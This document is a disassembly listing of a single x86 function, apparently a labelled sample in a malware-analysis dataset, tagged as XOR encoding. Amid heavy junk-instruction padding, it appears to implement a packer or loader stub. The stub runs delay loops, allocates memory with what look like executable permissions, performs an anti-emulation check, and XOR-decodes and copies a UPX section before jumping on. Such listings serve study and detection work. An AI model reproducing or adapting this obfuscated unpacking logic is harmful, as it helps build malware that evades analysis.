Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf967b8fd
sub edx, edi
inc edi
sub edi, edx
popal
mov edi, edx
mov edi, 0xcfdd6a69
mov edi, edx
mov edx, 0
mov eax, esi
add edi, 1
inc edi
and ebx, ebx
mov ecx, eax
add ebx, 0xf078ea23
and edi, edi
mov esi, ecx
sub ebx, 0xf13ab4c5
dec ebx
inc ebx
inc edx
not edi
sub ebx, 0xa362b285
mov edi, ebx
cmp edx, 0x1006761
jne 0xa789c6
sub edi, ebx
add edi, 0xf1ba0c83
mov ebx, 0x97005c7
add edx, edx
add edx, 0xe5da1f52
inc edi
mov edi, 0xa78796
not eax
add ebx, ebx
mov ecx, 0xacdc0398
mov edx, 0xa7898a
add ecx, 0x41d1f631
dec ebx
dec ebx
mov esi, dword [edi]
add ebx, ecx
or eax, ecx
and ecx, ebx
and esi, 0xff
mov ebx, ecx
not ebx
xor dword [edx], esi
dec ebx
mov ecx, 0xb53e0870
mov ecx, eax
inc edx
sub ecx, 1
add eax, 0x6acc0f44
inc edi
sub eax, 0x9da97a8
dec eax
cmp edx, entry0
jl 0xa78a2d
dec eax
or eax, ecx
sub ebx, ecx
sub ecx, ebx
and ecx, eax
sub eax, ebx
mov edi, 0x88937877
add edi, edi
inc edi
mov edx, 0xa7898e
dec esi
add ebx, ecx
mov edx, dword [edx]
dec edi
not edi
mov edx, dword [edx]
add ebx, ecx
or esi, ebx
push edx
mov edi, ecx
mov edi, 0x17b3f145
mov edx, 0xa7898a
not ebx
and ecx, esi
not ebx
mov edx, dword [edx]
and esi, esi
sub ebx, ecx
mov edx, dword [edx]
not ecx
dec ebx
sub edi, 0x5332a03f
sub esp, 4
mov dword [esp], 0xa78992
add ecx, 0xe59a681f
mov ebx, 0x7b9cf515
call edx
mov ecx, 0x1f03bfb5
add edi, ecx
mov ebx, esi
pop edx
add esi, 0xb2c4c4d
sub edi, 0xd0e9a250
not edi
sub esp, 4
mov dword [esp], 0xa7899f
not esi
and edi, edi
not ecx
sub esp, 4
mov dword [esp], eax
sub ebx, edi
inc ebx
call edx
inc ecx
and ecx, esi
sub esi, 0xa60f913d
push 0x40
not ebx
dec edi
sub esp, 4
mov dword [esp], 0x3000
sub ecx, ebx
mov ecx, esi
add edi, esi
push 0x20000a08
dec ebx
mov esi, ebx
push 0
and esi, edi
and edi, edi
call eax
or edi, ebx
mov ebx, edi
and esi, esi
add eax, 0x2000096e
inc ebx
sub ebx, edi
mov edx, 0xcb541142
add esi, 0x3d330107
sub edi, 0x34406aa3
mov dword [eax], edx
and ecx, ebx
or edi, ecx
mov edx, dword [eax]
and esi, esi
inc edi
or esi, ebx
cmp edx, 0xcb541142
je 0xa78b6e
mov ebx, 0
mov byte [ebx], dl
dec esi
and ecx, edi
sub ebx, 0xa3e2b039
inc ebx
mov ecx, esi
add edi, 0x4ae7f6fa
add edx, edi
mov ebx, section.UPX1
and edx, edi
or edx, edx
mov esi, 0xa78795
dec edx
sub edx, edi
mov eax, 0
add edx, 1
mov edx, 0x6656d375
dec edx
mov ecx, 0xa78796
add edx, edi
inc edx
add edi, 0x71591cef
lea ecx, [eax + ecx]
dec edx
add edi, edi
mov ecx, dword [ecx]
add edi, edi
mov edx, 0x3b1d5eb8
sub edx, edi
and ecx, 0xff
add edx, edx
sub edi, 0x4e51eb40
inc eax
add edx, 0x3ba19f09
not edx
sub edi, 0x73c9da7e
cmp eax, 0x1f4
jne 0xa78bed
mov eax, 0
add edx, edi
sub edi, edx
add edi, 0xa4a02f6d
sub edi, edx
and edx, edi
mov edi, edx
xor dword [ebx], ecx
mov edx, edi
add edx, 0xe777360f
add ebx, 2
or edx, edi
sub edi, edx
cmp ebx, esi
jl 0xa78ba4
dec edi
or edi, edx
sub edx, 0x8409a199
or edi, edx
or edx, edi
mov edi, section.UPX1
sub esi, 0x1570d9cc
add eax, esi
mov ebx, section.UPX1
sub esi, 1
add esi, 0x1b9d1254
add eax, eax
mov ecx, 0xa78795
mov eax, esi
and esi, eax
dec esi
mov edx, 0
mov eax, 0x5d74684f
mov esi, eax
mov dl, byte [ebx]
not esi
not eax
add esi, 0x94692c14
mov byte [edi], dl
sub esi, 1
and esi, esi
mov eax, 0x98cb8ef2
inc edi
sub esi, 0xd896d6cc
add esi, esi
add ebx, 2
mov esi, 0x942af415
add eax, eax
not eax
cmp ebx, ecx
jle 0xa78c5c
add eax, esi
not esi
or esi, eax
add edx, 0x712bed2d
mov edi, edx
dec edi
push 0x8dc6a0
add edi, edx
inc edx
ret